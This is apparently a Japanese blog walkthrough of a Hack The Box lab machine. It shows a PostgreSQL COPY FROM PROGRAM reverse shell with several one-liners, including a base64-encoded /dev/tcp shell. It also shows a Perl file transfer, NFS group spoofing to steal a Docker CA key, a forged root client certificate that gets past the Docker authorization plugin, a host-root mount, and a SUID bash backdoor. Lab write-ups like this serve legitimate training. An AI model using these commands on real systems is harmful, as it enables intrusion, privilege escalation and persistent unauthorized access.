[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 172.18.0.6:8443
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-25 04:19 EST
Initiating Ping Scan at 04:19
Scanning 172.18.0.6 [4 ports]
Completed Ping Scan at 04:19, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 04:19
Completed Parallel DNS resolution of 1 host. at 04:19, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 04:19
Scanning 172.18.0.6 [1 port]
Completed SYN Stealth Scan at 04:19, 0.23s elapsed (1 total ports)
Nmap scan report for 172.18.0.6
Host is up, received reset ttl 64 (0.00020s latency).
Scanned at 2025-11-25 04:19:10 EST for 0s
PORT STATE SERVICE REASON
8443/tcp filtered https-alt no-response
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (108B)
まぁ全部乗せるのも面倒なので0.6だけで勘弁してくれ。
172.18.0.4がpgAdminのコンテナ、172.18.0.3がpostgreぽい。172.18.0.6がよくわからん。アクセスしてみる。
ガチャガチャ
あーね。ここまで行くとWindows許さないマン出来そう。
その前に列挙だ列挙！！！！
リバースシェルの奪取
さて、postgreのリバースシェルをゲットする。
適当に以下ligoloコマンドでpgAdminにリバースシェル用の待ち受けを開けておく。
listener_add --addr 0.0.0.0:8444 --to 10.10.14.7:8444 --tcp
続いてkaliからpostgreに対してアクセスする。
┌──(kali㉿kali)-[~/Desktop/fries.htb]
└─$ psql -h 172.18.0.3 -Uroot -d postgres
Password for user root:
psql (18.0 (Debian 18.0-1), server 16.9 (Debian 16.9-1.pgdg120+1))
Type "help" for help.
postgres=#
作っていたコマンド実行用のTableを利用してリバースシェル実施！
postgres=# COPY shell FROM PROGRAM 'busybox nc 172.18.0.4 8444 -e bash';
ERROR: program "busybox nc 172.18.0.4 8444 -e bash" failed
DETAIL: command not found
postgres=# COPY shell FROM PROGRAM 'bash -i >& /dev/tcp/172.18.0.4/8444 0>&1';
ERROR: program "bash -i >& /dev/tcp/172.18.0.4/8444 0>&1" failed
DETAIL: child process exited with exit code 2
postgres=# COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 172.18.0.4 8444 >/tmp/f';
ERROR: program "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 172.18.0.4 8444 >/tmp/f" failed
DETAIL: command not found
postgres=# COPY shell FROM PROGRAM '0<&196;exec 196<>/dev/tcp/172.18.0.4/8444; bash <&196 >&196 2>&196';
ERROR: program "0<&196;exec 196<>/dev/tcp/172.18.0.4/8444; bash <&196 >&196 2>&196" failed
DETAIL: child process exited with exit code 2
postgres=# COPY shell FROM PROGRAM 'nc -c bash 172.18.0.4 8444';
ERROR: program "nc -c bash 172.18.0.4 8444" failed
DETAIL: command not found
postgres=# COPY shell FROM PROGRAM 'exec 5<>/dev/tcp/172.18.0.4/8444;cat <&5 | while read line; do $line 2>&5 >&5; done';
ERROR: program "exec 5<>/dev/tcp/172.18.0.4/8444;cat <&5 | while read line; do $line 2>&5 >&5; done" failed
DETAIL: child process exited with exit code 2
postgres=# COPY shell FROM PROGRAM 'ls /bin';
COPY 403
postgres=# select * from shell;
postgres=# COPY shell FROM PROGRAM '/bin/sh -i >& /dev/tcp/172.18.0.4/8444 0>&1';
ERROR: program "/bin/sh -i >& /dev/tcp/172.18.0.4/8444 0>&1" failed
DETAIL: child process exited with exit code 2
全然効かないのだが！！！！！どうなってるんだってばよ...
待てよ...これ以前のBoxで見たことある...
Sandwormだわ！！！
この時はecho BASE64のPayloadを実行したんだったわ！
数年HTBに挑んできた、いにしえの知識を今使うとき！！！！！
postgres=# COPY shell FROM PROGRAM 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC40Lzg0NDQgMD4mMQ== | base64 -d | bash';
これで通りました～！継続は力なり！
といってもこのコンテナには何もなかったんだけどねｗ
Oh...ラビホ。
File Transfer
ちなみにこのコンテナでもLinpeasを実行したのですが、ファイルを持っていくのに苦労しました。
Sandwarmの時と同じようにcurlもwgetもない。
そしてSandwarmで猛威を振るったPython3もない…
なんでや！！！！
TryHardしろという事か...
だが諦めるにはまだ早い...
僕達には Perl という強大な味方がいることを...
そう、人類は思い出したのだ...
Perl の威厳を...
もったいぶりましたが、以下でFile Transferが出来ます。
※Ligoloで転送用のPortはリバースシェルと同じように開けておこう(8888とかで開けておきました。)
perl -MHTTP::Tiny -e 'HTTP::Tiny->new->mirror("http://172.18.0.4:8888/linpeas.sh", "linpeas.sh")'
まぁここまでやったけど、このコンテナには何もなかったです！！ふざけろ！
横展開 - ホスト環境
さて、さっきLinpeasで見つけた資格情報を試してみる時が来た。
コンテナはガチガチにPortを絞っていてかつsuを使った横移動が出来なかったのでクレデンシャルを使えるところは限られます。
とりあえずさっきの8443のWebにクレデンシャルは使えませんでした。
後は最初に見つけてたSSHにぶち込むことを考えます。
そういえばgiteaに以下のイメージのスクショがありました。
svcユーザがいること、コンテナのホスト名になっていないことからコンテナのホスト環境かなと考えられます。
sshがもしかしたらここに通ずるかもしれないので試してみます。
「いけるんかい！」って声出ました。
権限昇格 - Linux
まだLinux環境...あれれ？Windows許さないマンとは？？？
まだまだやっていきます！
情報収集
svc@web:~$ ./linpeas.sh
▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄ ▄▄▄ ▄▄▄▄▄ ▄▄▄
▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄ ▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
▀▀▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▀▀
▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Learn Cloud Hacking : https://training.hacktricks.xyz |
| Follow on Twitter : @hacktricks_live |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
LinPEAS-ng by carlospolop
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.
Linux Privesc Checklist: https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html
LEGEND:
RED/YELLOW: 95% a PE vector
RED: You should take a look to it
LightCyan: Users with console
Blue: Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMagenta: Your username
Starting LinPEAS. Caching Writable Folders...
╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════
╚═══════════════════╝
OS: Linux version 6.8.0-87-generic (buildd@lcy02-amd64-060) (x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04.2) 12.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #88~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Oct 14 14:03:14 UTC 2
User & Groups: uid=1000(svc) gid=1000(svc) groups=1000(svc)
Hostname: web
[+] /usr/bin/ping is available for network discovery (LinPEAS can discover hosts, learn more with -h)
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (LinPEAS can discover hosts, scan ports, and forward ports. Learn more with -h)
[+] /usr/bin/nc is available for network discovery & port scanning (LinPEAS can discover hosts and scan ports, learn more with -h)
Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE
╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════
╚════════════════════╝
╔══════════╣ Operative system
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits
Linux version 6.8.0-87-generic (buildd@lcy02-amd64-060) (x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04.2) 12.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #88~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Oct 14 14:03:14 UTC 2
Distributor ID: Ubuntu
Description: Ubuntu 22.04.5 LTS
Release: 22.04
Codename: jammy
╔══════════╣ Sudo version
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version
Sudo version 1.9.9
╔══════════╣ PATH
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses
/home/svc/.local/share/reflex/bun/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
╔══════════╣ Date & uptime
Tue Nov 25 04:34:29 PM UTC 2025
16:34:29 up 1:57, 1 user, load average: 0.42, 0.12, 0.09
╔══════════╣ Unmounted file-system?
╚ Check if you can mount umounted devices
/dev/disk/by-id/dm-uuid-LVM-zTmgpoWrUYVpLYIZ4PysFeJSH5ptiLJkxN6en34CMcmuMEgtNPypqpYfjRbaesyn / ext4 defaults 0 1
/dev/disk/by-uuid/0a9464d1-0a27-4a13-be38-744ad7e1062b /boot ext4 defaults 0 1
╔══════════╣ Any sd*/disk* disk in /dev? (limit 20)
disk
sda
sda1
sda2
sda3
╔══════════╣ Environment
╚ Any private information inside environment variables?
LESSOPEN=| /usr/bin/lesspipe %s
USER=svc
SSH_CLIENT=10.10.14.7 59368 22
BUN_INSTALL=/home/svc/.local/share/reflex/bun
SHLVL=1
MOTD_SHOWN=pam
HOME=/home/svc
SSH_TTY=/dev/pts/0
LOGNAME=svc
_=./linpeas.sh
TERM=xterm-256color
XDG_RUNTIME_DIR=/run/user/1000
LANG=en_US.UTF-8
SHELL=/bin/bash
LESSCLOSE=/usr/bin/lesspipe %s %s
PWD=/home/svc
SSH_CONNECTION=10.10.14.7 59368 192.168.100.2 22
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop
（中略）
╔═════════════════════╗
══════════════════════════════╣ Network Information ╠══════════════════════════════
╚═════════════════════╝
╔══════════╣ Interfaces
# symbolic names for networks, see networks(5) for more information
link-local 169.254.0.0
br-0d1a963edc58: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.18.0.1 netmask 255.255.0.0 broadcast 172.18.255.255
inet6 fe80::bc7c:d3ff:fe14:311f prefixlen 64 scopeid 0x20<link>
ether be:7c:d3:14:31:1f txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 92:04:97:8c:ee:6a txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.100.2 netmask 255.255.255.0 broadcast 192.168.100.255
inet6 fe80::215:5dff:fe0b:cd01 prefixlen 64 scopeid 0x20<link>
ether 00:15:5d:0b:cd:01 txqueuelen 1000 (Ethernet)
RX packets 851521 bytes 120982936 (120.9 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1047735 bytes 121040953 (121.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 49600 bytes 5436824 (5.4 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 49600 bytes 5436824 (5.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth9488673: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::e465:6cff:fe9c:93bb prefixlen 64 scopeid 0x20<link>
ether e6:65:6c:9c:93:bb txqueuelen 0 (Ethernet)
RX packets 38336 bytes 3707694 (3.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 38336 bytes 3885911 (3.8 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth325f415: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::1c27:fdff:fe44:8bc3 prefixlen 64 scopeid 0x20<link>
ether 1e:27:fd:44:8b:c3 txqueuelen 0 (Ethernet)
RX packets 1344073 bytes 142648911 (142.6 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1088723 bytes 133107256 (133.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth9424f0a: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::2088:b4ff:fed2:70ce prefixlen 64 scopeid 0x20<link>
ether 8e:fc:d5:40:11:b4 txqueuelen 0 (Ethernet)
RX packets 70457 bytes 3852888 (3.8 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 71246 bytes 5250592 (5.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
vethd88868f: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::54a1:d0ff:fe00:db5c prefixlen 64 scopeid 0x20<link>
ether 86:81:03:84:91:f1 txqueuelen 0 (Ethernet)
RX packets 74010 bytes 5168742 (5.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 75709 bytes 6261207 (6.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
vethfd8c886: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::5cd7:88ff:fe7f:2a67 prefixlen 64 scopeid 0x20<link>
ether 96:c0:11:cc:07:e6 txqueuelen 0 (Ethernet)
RX packets 66738 bytes 4251865 (4.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 67459 bytes 5233123 (5.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
╔══════════╣ Hostname, hosts and DNS
══╣ Hostname Information
System hostname: web
FQDN: web
══╣ Hosts File Information
Contents of /etc/hosts:
127.0.0.1 localhost
127.0.0.1 local fries.htb db-mgmt05.fries.htb code.fries.htb pwm.fries.htb
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.100.1 dc01.fries.htb dc01
══╣ DNS Configuration
DNS Servers (resolv.conf):
127.0.0.53
search .
-e
Systemd-resolved configuration:
[Resolve]
-e
NetworkManager DNS settings:
-e
DNS Domain Information:
(none)
╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports
══╣ Active Ports (netstat)
tcp 0 0 0.0.0.0:56967 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:40659 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:35995 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:43649 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:49717 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:45633 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5050 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:2049 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:222 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:2376 0.0.0.0:* LISTEN -
tcp 0 0 172.18.0.1:3000 0.0.0.0:* LISTEN -
tcp6 0 0 :::52833 :::* LISTEN -
tcp6 0 0 :::57297 :::* LISTEN -
tcp6 0 0 :::51193 :::* LISTEN -
tcp6 0 0 :::52385 :::* LISTEN -
tcp6 0 0 :::45297 :::* LISTEN -
tcp6 0 0 :::8443 :::* LISTEN -
tcp6 0 0 :::2049 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::111 :::* LISTEN -
tcp6 0 0 :::443 :::* LISTEN -
ん？2049Portが開いている。NFSかな？
ざっと見てみる。
NFS
192.168.100.2がこのホストのIPぽいのでligoloで同様にClientを接続させる。
インターフェースを別で作成した後に、適当に以下の様に直でルーティングを設定する。
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo ip route add 192.168.100.2/32 dev ligolo2
さて、NFSを確認する。
┌──(kali㉿kali)-[~/Desktop]
└─$ showmount -e 192.168.100.2
Export list for 192.168.100.2:
/srv/web.fries.htb *
はいはい。あるみたいね。
/srv/web.fries.htb/certsがホスト環境で直で見れなかったのでここを見たい。
no_root_squashがあるので単純にRootでは見れない。ただinfra managersのグループに所属していれば権限がありそうだったのでこの権限をKali側で設定してNFS経由でフォルダの中身を確認する。
svc@web:/srv/web.fries.htb$ getent group "infra managers"
infra managers:*:59605603:d.cooper,m.hannigan,d.wilson
svc@web:/srv/web.fries.htb$
このGIDは59605603なのでKaliでもそのGroupを設定する。
┌──(kali㉿kali)-[/mnt]
└─$ sudo groupadd -g 59605603 infra
マウントしてみてみる。
┌──(kali㉿kali)-[/mnt]
└─$ sudo mount -t nfs 192.168.100.2:/srv/web.fries.htb/certs /mnt/certs
┌──(kali㉿kali)-[/mnt]
└─$ sudo -u root -g infra ls -la /mnt/certs
total 32
drwxrwx--- 2 root infra 4096 May 26 2025 .
drwxr-xr-x 3 root root 4096 Nov 25 06:44 ..
-rw-r----- 1 root infra 1708 Nov 25 2025 ca-key.pem
-rw-r----- 1 root infra 1111 Nov 25 2025 ca.pem
-rw-r----- 1 root infra 1115 Nov 25 2025 server-cert.pem
-rw-r----- 1 root infra 940 Nov 25 2025 server.csr
-rw-r----- 1 root infra 1704 Nov 25 2025 server-key.pem
-rw-r----- 1 root infra 205 Nov 25 2025 server-openssl.cnf
みれた！！！！！
なんこれ？？？？？Huh？
とりあえず持ってくる。
┌──(kali㉿kali)-[/mnt]
└─$ sudo -u root -g infra cp /mnt/certs/ca-key.pem /home/kali/Desktop/certs
┌──(kali㉿kali)-[/mnt]
└─$ sudo -u root -g infra cp /mnt/certs/ca.pem /home/kali/Desktop/certs
┌──(kali㉿kali)-[/mnt]
└─$ sudo -u root -g infra cp /mnt/certs/server-cert.pem /home/kali/Desktop/certs
┌──(kali㉿kali)-[/mnt]
└─$ sudo -u root -g infra cp /mnt/certs/server.csr /home/kali/Desktop/certs
┌──(kali㉿kali)-[/mnt]
└─$ sudo -u root -g infra cp /mnt/certs/server-key.pem /home/kali/Desktop/certs
┌──(kali㉿kali)-[/mnt]
└─$ sudo -u root -g infra cp /mnt/certs/server-openssl.cnf /home/kali/Desktop/certs
Docker クライアント認証
これの悪用でだいぶ悩みました。数日寝込みました。
そこで放置していたpspy64の結果に以下のコマンドがあることに気付きました。
/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --authorization-plugin=authz-broker --tlsverify --tlscacert=/etc/docker/certs/ca.pem --tlscert=/etc/docker/certs/server-cert.pem --tlskey=/etc/docker/certs/server-key.pem -H=127.0.0.1:2376
なんじゃこれ！！！！
知らんぞ！！！！
調べると以下の記事がヒットします。
適当にAIにも聞いてみます。
あ、イケそう。証明書でDockerコマンドなどでDockerデーモンにコンテナ作成とかお願いできる奴だ！
適当にやってみるか。
svc@web:~/certs$ docker --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H 127.0.0.1:2376 version
Client:
Version: 28.2.2
API version: 1.50
Go version: go1.23.1
Git commit: 28.2.2-0ubuntu1~22.04.1
Built: Wed Sep 10 14:50:16 2025
OS/Arch: linux/amd64
Context: default
Error response from daemon: authorization denied by plugin authz-broker: no policy applied (user: 'fries' action: 'docker_version')
ん？なんかエラー出てる。friesさんだと無理だと？？？
authz-brokerが効いてるとのこと。
この設定ファイルを見つけに行く。
svc@web:~/certs$ find / -name "*authz*" 2>/dev/null
/sys/fs/cgroup/system.slice/twistlock-authz.service
/etc/systemd/system/multi-user.target.wants/twistlock-authz.service
/var/lib/authz-broker
/usr/lib/systemd/system/twistlock-authz.service
/usr/bin/authz-broker
/run/systemd/units/invocation:twistlock-authz.service
/var/lib/authz-brokerが気になる。この階層を確認する。
svc@web:~/certs$ ls -la /var/lib/authz-broker/
total 12
drwxr-xr-x 2 root root 4096 May 26 2025 .
drwxr-xr-x 50 root root 4096 May 30 13:45 ..
-rw-r--r-- 1 root root 227 May 26 2025 policy.json
svc@web:~/certs$ cat /var/lib/authz-broker/policy.json
{"name":"policy_1", "users": ["svc"], "actions": ["container_list", "container_logs"]}
{"name":"policy_1", "users": ["sysadm"], "actions": ["container"], "readonly":true}
{"name":"policy_2", "users": ["root"], "actions": [""]}
svc@web:~/certs$
rootでの認証が出来そう！
以下でserver-openssl.cnf設定ファイルを参考にroot.cnfに変更して証明書を作成する！！！！
root.cnf
[dn]
CN = root
svc@web:~/certs$ openssl req -new -keyout root.key -out root.csr -config root.cnf -nodes
.+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*....+.+..+.......+......+..+...+.......+..+.+.....+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*......+..+....+...........+...+.+...........+...+......+...+.+..+.......+.....+.......+........+.+..............+.............+..+...+.......+.....+...+.............+...........+.+.........+........+...+....+...+......+.........+..+...............+......+...+......+...+.......+...+..+.+.....+.........+.+..+.+..+....+...............+...+.....+................+.....+.........+...+...+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
..............+..+...+...+....+..+......+..........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.+...+..............+.+...........+................+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*...+........+.........+..........+..+...+......+.+......+............+..+...+.+.....+.+.........+.....+......+.+........+.+........................+..+............+.+..+...+.+...+........+...+....+.....+......+......+.+...+...........+.+..................+..+...................+........+...+....+...+.....+......+.+...+.....+..................+...+.+...+...............+...+...+.....+....+...+...+..+......................+.....+............+...+.......+.........+.....................+.........+.....+....+..+.+..+...............+.+......+......+..+.+..+.........+.+........+.+......+...+..+..................+.+...+......+.....+............+....+...+......+......+...........+....+.....+...+......+.........+..........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-----
svc@web:~/certs$ openssl x509 -req -in root.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out root.pem -days 365 -extensions req_ext -extfile root.cnf
Certificate request self-signature ok
subject=CN = root
svc@web:~/certs$
出来た。まずはコンテナを確認。
svc@web:~/certs$ docker --tlsverify --tlscacert=ca.pem --tlscert=root.pem --tlskey=root.key -H 127.0.0.1:2376 ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f427ecaa3bdd pwm/pwm-webapp:latest "/app/startup.sh" 5 months ago Up 17 hours 0.0.0.0:8443->8443/tcp, [::]:8443->8443/tcp pwm
cb46692a4590 dpage/pgadmin4:9.1.0 "/entrypoint.sh" 6 months ago Up 17 hours 443/tcp, 127.0.0.1:5050->80/tcp pgadmin4
bfe752a26695 fries-web "/usr/local/bin/pyth…" 6 months ago Up 17 hours 127.0.0.1:5000->5000/tcp web
858fdf51af59 postgres:16 "docker-entrypoint.s…" 6 months ago Up 17 hours 5432/tcp postgres
b916aad508e2 gitea/gitea:1.22.6 "/usr/bin/entrypoint…" 6 months ago Up 17 hours 127.0.0.1:3000->3000/tcp, 172.18.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
svc@web:~/certs$
よし、fries-webのイメージを使ってRoot階層までドンとマウントコンテナを作成する。
svc@web:~/certs$ docker --tlsverify --tlscacert=ca.pem --tlscert=root.pem --tlskey=root.key -H 127.0.0.1:2376 run -v /:/mnt -it fries-web chroot /mnt sh
# chmod +s /bin/bash
うおおおおおおおおお！！！！来た！！！
面倒なのでchmod +s /bin/bashでバックドア用意しておく。
コレクション
pwm階層
Root階層にUserフラグがありました。
ま、まだWindows許さないマンは発動できないのか！
とりあえずRoot階層を列挙する。
svc@web:~/certs$ bash -p
bash-5.1# cd /root
bash-5.1# cd scripts/
bash-5.1# cd pwm
bash-5.1# cd ../web
bash-5.1# ls -lta
total 40
drwxr-xr-x 5 root root 4096 Nov 12 01:50 .
drwxr-xr-x 5 root root 4096 Nov 12 01:28 ..
drwxr-xr-x 8 root root 4096 May 28 17:03 .git
-rw-r--r-- 1 root root 1903 May 28 17:03 README.md
drwxr-xr-x 5 root root 4096 May 28 16:59 app
-rw-r--r-- 1 root root 124 May 28 16:59 requirements.txt
-rw-r--r-- 1 root root 163 May 28 16:59 run.py
-rw-r--r-- 1 root root 138 May 28 16:59 Dockerfile
-rw-r--r-- 1 root root 258 May 28 16:59 .gitignore
drwxr-xr-x 3 root root 4096 May 28 16:58 docs
bash-5.1# cd ../pwm
bash-5.1# ls -tla
total 16
drwxr-xr-x 6 root root 4096 Nov 12 01:38 config
drwxr-xr-x 4 root root 4096 Nov 12 01:28 .
drwxr-xr-x 5 root root 4096 Nov 12 01:28 ..
drwxr-xr-x 2 root root 4096 Jun 1 02:03 pwm-workpath
bash-5.1# cd config
bash-5.1# ls -lta
total 160
-rw-r--r-- 1 root root 149 Nov 26 02:11 applicationPath.lock
drwxr-xr-x 2 root root 4096 Nov 26 02:10 logs
drwxr-xr-x 6 root root 4096 Nov 12 01:38 .
-rw-r--r-- 1 root root 134122 Nov 12 01:38 PwmConfiguration.xml
drwxr-xr-x 2 root root 4096 Nov 12 01:37 backup
drwxr-xr-x 4 root root 4096 Nov 12 01:28 ..
drwxr-xr-x 3 root root 4096 Jun 1 02:03 LocalDB
drwxr-xr-x 2 root root 4096 Jun 1 02:03 temp
bash-5.1# cd LocalDB/
bash-5.1# ls
xodus
bash-5.1# ls -lta
total 12
drwxr-xr-x 2 root root 4096 Nov 26 02:11 xodus
drwxr-xr-x 6 root root 4096 Nov 12 01:38 ..
drwxr-xr-x 3 root root 4096 Jun 1 02:03 .
bash-5.1# cd xodus/
bash-5.1# ls -lta
total 18704
-rw-r--r-- 1 root root 2347518 Nov 26 19:40 00000000g00.xd
-rw-r--r-- 1 root root 513 Nov 26 02:11 README.TXT
-rw-r--r-- 1 root root 3481 Nov 26 02:11 xd.lck
drwxr-xr-x 2 root root 4096 Nov 26 02:11 .
-rw-r--r-- 1 root root 0 Nov 26 02:11 xodus.open
